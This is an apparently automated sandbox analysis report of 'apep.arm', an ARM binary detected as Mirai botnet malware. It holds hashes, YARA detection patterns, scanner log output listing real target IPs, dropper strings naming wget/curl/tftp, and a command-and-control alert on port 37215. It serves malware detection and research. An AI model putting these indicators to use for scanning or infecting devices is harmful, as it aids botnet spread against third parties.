Create Interactive Tour

Linux Analysis Report
apep.arm

Overview

General Information

Sample Name:	apep.arm
Analysis ID:	575327
MD5:	fa3060614bc6cf16b9f9aaa29c9f053f
SHA1:	ee99ea174d02b2afdd934e036c3afa63716f2273
SHA256:	2ee964f29adbf149d1650e53bf87c94d5e2ffe560bbb548852c896bb1f5ffdd3
Infos:

Detection

Mirai

Score:	84
Range:	0 - 100
Whitelisted:	false

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Found strings indicative of a multi-platform dropper

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample has stripped symbol table

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	575327
Start date:	20.02.2022
Start time:	15:50:14
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	apep.arm
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal84.spre.troj.linARM@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/apep.arm
Exit Code:
Exit Code Info:
Killed:	True
Standard Output:	DEBUG MODE YO [main] we are the only process on this system! [watchdog] failed to find a valid watchdog driver, bailing out DEBUG MODE YO [main] we are the only process on this system! [scanner_huawei] scanner process initialized. scanning started. [scanner] FD5 connected to 92.180.180.201 [scanner] FD5 sending payload [scanner] FD5 finnished [scanner] FD5 connected to 31.33.139.116 [scanner] FD5 sending payload [scanner] FD5 finnished [scanner] FD5 connected to 107.148.164.34 [scanner] FD5 sending payload [scanner] FD6 connected to 107.178.189.16 [scanner] FD6 sending payload [scanner] FD7 connected to 107.178.157.227 [scanner] FD9 connected to 107.178.152.74 [scanner] FD10 connected to 107.178.181.171 [scanner] FD11 connected to 107.178.156.162 [scanner] FD7 sending payload [scanner] FD8 connected to 107.190.228.53 [scanner] FD9 sending payload [scanner] FD10 sending payload [scanner] FD11 sending payload [scanner] FD8 sending payload [scanner] FD5 finnished [scanner] FD5 connected to 107.178.167.105 [scanner] FD6 connected to 107.178.148.244 [scanner] FD5 sending payload [scanner] FD6 sending payload [scanner] FD12 connected to 181.200.150.167 [scanner] FD12 sending payload [scanner] FD12 finnished [scanner] FD9 connected to 160.19.49.159 [scanner] FD9 sending payload [scanner] FD12 connected to 154.38.224.133 [scanner] FD12 sending payload [scanner] FD10 connected to 154.93.35.216 [scanner] FD10 sending payload [scanner] FD11 connected to 154.23.244.216 [scanner] FD11 sending payload [scanner] FD13 connected to 154.197.58.73 [scanner] FD13 sending payload [scanner] FD14 connected to 154.216.23.58 [scanner] FD14 sending payload [scanner] FD15 connected to 154.209.138.219 [scanner] FD15 sending payload [scanner] FD21 connected to 154.197.237.168 [scanner] FD21 sending payload [scanner] FD22 connected to 154.212.210.19 [scanner] FD22 sending payload [scanner] FD18 connected to 154.212.188.191 [scanner] FD18 sending payload [scanner] FD17 connected to 154.197.220.192 [scanner] FD17 sending payload [scanner] FD16 connected to 154.212.232.75 [scanner] FD16 sending payload [scanner] FD20 connected to 154.89.64.138 [scanner] FD20 sending payload [scanner] FD23 connected to 154.212.251.29 [scanner] FD23 sending payload [scanner] FD19 connected to 154.210.117.13 [scanner] FD19 sending payload [scanner] FD17 finnished [scanner] FD19 finnished [scanner] FD18 finnished [scanner] FD22 finnished [scanner] FD24 connected to 154.91.154.138 [scanner] FD24 sending payload [scanner] FD13 finnished [scanner] FD5 connected to 154.38.230.23 [scanner] FD5 sending payload [scanner] FD6 connected to 154.38.241.131 [scanner] FD13 connected to 154.91.189.233 [scanner] FD17 connected to 154.26.216.105 [scanner] FD6 sending payload [scanner] FD13 sending payload [scanner] FD17 sending payload [scanner] FD18 connected to 154.23.186.56 [scanner] FD18 sending payload [scanner] FD29 connected to 154.211.39.35 [scanner] FD29 sending payload [scanner] FD25 connected to 154.212.202.247 [scanner] FD27 connected to 154.213.89.141 [scanner] FD25 sending payload [scanner] FD27 sending payload [scanner] FD23 connected to 154.212.198.221 [scanner] FD23 sending payload [scanner] FD20 connected to 154.89.77.15 [scanner] FD20 sending payload [scanner] FD21 connected to 154.220.90.98 [scanner] FD21 sending payload [scanner] FD22 connected to 154.213.91.110 [scanner] FD22 sending payload [scanner] FD26 connected to 154.220.78.4 [scanner] FD26 sending payload [scanner] FD24 connected to 154.197.246.4 [scanner] FD24 sending payload [scanner] FD28 connected to 154.222.31.86 [scanner] FD28 sending payload [scanner] FD19 connected to 154.86.19.215 [scanner] FD19 sending payload [scanner] FD7 connected to 107.178.164.112 [scanner] FD7 sending payload [scanner] FD17 finnished [scanner] FD28 finnished [scanner] FD25 finnished [scanner] FD24 finnished [scanner] FD19 finnished [scanner] FD6 connected to 45.192.231.247 [scanner] FD6 sending payload [scanner] FD7 connected to 45.122.138.57 [scanner] FD7 sending payload [scanner] FD9 connected to 45.200.214.73 [scanner] FD9 sending payload [scanner] FD8 connected to 45.125.59.58 [scanner] FD8 sending payload [scanner] FD6 finnished [scanner] FD6 connected to DEBUG MODE YO [main] we are the only process on this system! [scanner_huawei] scanner process initialized. scanning started. [scanner] FD6 connected to 107.178.169.148 [scanner] FD6 sending payload [scanner] FD5 connected to 107.148.183.214 [scanner] FD5 sending payload [scanner] FD5 connected to 181.200.160.182 [scanner] FD5 sending payload [scanner] FD6 connected to 154.12.36.207 [scanner] FD6 sending payload [scanner] FD7 connected to 154.23.204.128 [scanner] FD7 sending payload [scanner] FD9 connected to 154.209.163.22 [scanner] FD9 sending payload [scanner] FD10 connected to 154.212.245.46 [scanner] FD10 sending payload [scanner] FD11 connected to 154.212.245.21 [scanner] FD12 connected to 154.197.234.142 [scanner] FD11 sending payload [scanner] FD12 sending payload [scanner] FD8 connected to 154.210.122.111 [scanner] FD8 sending payload [scanner] FD10 connected to 154.213.68.198 [scanner] FD10 sending payload [scanner] FD7 connected to 154.26.226.214 [scanner] FD7 sending payload [scanner] FD13 connected to 154.210.86.95 [scanner] FD13 sending payload [scanner] FD11 connected to 154.221.67.197 [scanner] FD11 sending payload [scanner] FD14 connected to 154.201.26.112 [scanner] FD14 sending payload [scanner] FD16 connected to 154.201.26.65 [scanner] FD16 sending payload [scanner] FD17 connected to 154.92.100.5 [scanner] FD17 sending payload [scanner] FD21 connected to 154.209.129.191 [scanner] FD21 sending payload [scanner] FD20 connected to 154.220.73.115 [scanner] FD20 sending payload [scanner] FD18 connected to 154.212.170.226 [scanner] FD18 sending payload [scanner] FD19 connected to 154.220.88.255 [scanner] FD19 sending payload [scanner] FD15 connected to 154.209.138.43 [scanner] FD15 sending payload [scanner] FD5 finnished [scanner] FD14 finnished [scanner] FD5 connected to 197.253.65.32 [scanner] FD5 sending payload [scanner] FD5 finnished [scanner] FD6 connected to 45.120.207.254 [scanner] FD6 sending payload [scanner] FD5 connected to 45.248.70.159 [scanner] FD5 sending payload [scanner] FD7 connected to 45.192.226.25 [scanner] FD7 sending payload [scanner] FD8 connected to 45.125.58.164 [scanner] FD8 sending payload [scanner] FD11 connected to 45.200.220.48 [scanner] FD11 sending payload [scanner] FD9 connected to 45.200.236.58 [scanner] FD9 sending payload [scanner] FD12 connected to 45.200.251.120 [scanner] FD12 sending payload [scanner] FD5 finnished [scanner] FD14 connected to 45.120.184.2 [scanner] FD14 sending payload [scanner] FD8 finnished [scanner] FD5 finnished [scanner] FD5 connected to 107.178.135.89 [scanner] FD6 connected to 107.178.159.136 [scanner] FD5 sending payload [scanner] FD6 sending payload [scanner] FD8 connected to 154.38.250.243 [scanner] FD8 sending payload [scanner] FD9 connected to 154.90.56.169 [scanner] FD9 sending payload [scanner] FD10 connected to 154.23.243.172 [scanner] FD10 sending payload [scanner] FD12 connected to 154.23.177.62 [scanner] FD12 sending payload [scanner] FD20 connected to 154.216.25.12 [scanner] FD20 sending payload [scanner] FD16 connected to 154.212.253.159 [scanner] FD16 sending payload [scanner] FD17 connected to 154.220.7.164 [scanner] FD17 sending payload [scanner] FD19 connected to 154.204.217.242 [scanner] FD19 sending payload [scanner] FD15 connected to 154.220.71.94 [scanner] FD15 sending payload [scanner] FD18 connected to 154.212.216.44 [scanner] FD18 sending payload [scanner] FD14 connected to 154.209.191.25 [scanner] FD14 sending payload [scanner] FD13 connected to 154.201.28.91 [scanner] FD13 sending payload [scanner] FD21 connected to 154.22.117.213 [scanner] FD21 sending payload [scanner] FD13 finnished [scanner] FD14 finnished [scanner] FD18 finnished [scanner] FD6 connected to 154.213.71.249 [scanner] FD6 sending payload [scanner] FD7 connected to 154.23.205.122 [scanner] FD5 connected to 154.26.225.36 [scanner] FD7 sending payload [scanner] FD5 sending payload [scanner] FD15 connected to 154.86.9.3 [scanner] FD15 sending payload [scanner] FD8 connected to 154.89.112.40 [scanner] FD8 sending payload
Standard Error:

Process Tree

system is lnxubuntu20

apep.arm (PID: 5224, Parent: 5118, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/apep.arm

apep.arm New Fork (PID: 5226, Parent: 5224)

apep.arm New Fork (PID: 5228, Parent: 5224)

apep.arm New Fork (PID: 5230, Parent: 5224)

apep.arm New Fork (PID: 5231, Parent: 5224)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
apep.arm	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x125dc:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12650:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x126c4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12714:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12788:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12818:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x1286c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x128e4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12934:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
apep.arm	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x11440:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
apep.arm	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5226.1.00000000b1259b9d.00000000819ff67f.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x22b0:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x2328:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x23a0:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x23f4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x246c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x2504:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x255c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x25d4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x2628:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
5224.1.00000000b1259b9d.00000000ff72982b.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x22b0:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x2328:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x23a0:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x23f4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x246c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x2504:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x255c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x25d4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x2628:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
5224.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x125dc:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12650:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x126c4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12714:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12788:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12818:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x1286c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x128e4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12934:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
5224.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x11440:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5224.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5226.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious XORed keyword - Mozilla/5.0	Florian Roth	0x125dc:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12650:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x126c4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12714:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12788:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12818:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x1286c:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x128e4:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA 0x12934:$xo1: \xA7\x85\x90\x83\x86\x86\x8B\xC5\xDF\xC4\xDA
5226.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x11440:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5226.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
Click to see the 3 entries

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: apep.arm

ReversingLabs: Detection: 48%

Spreading

Found strings indicative of a multi-platform dropper

Source: apep.arm

String: apep.x86apep.mipsapep.mpslapep.armapep.arm5apep.arm6apep.arm7apep.ppcapep.spcapep.m68kapep.sh4cbdeleteddlr.mipsdlr.mpsldlr.armdlr.arm5dlr.arm6dlr.arm7dlr.ppcdlr.spcdlr.m68kdlr.sh4/wget/curl/tftp/proc//exe[killer] killing: %s pid: %s

Networking

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic

Snort IDS: 2404334 ET CNC Feodo Tracker Reported CnC Server TCP group 18 192.168.2.23:1898 -> 45.9.20.200:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.253.68.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.83.202.7 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 37215
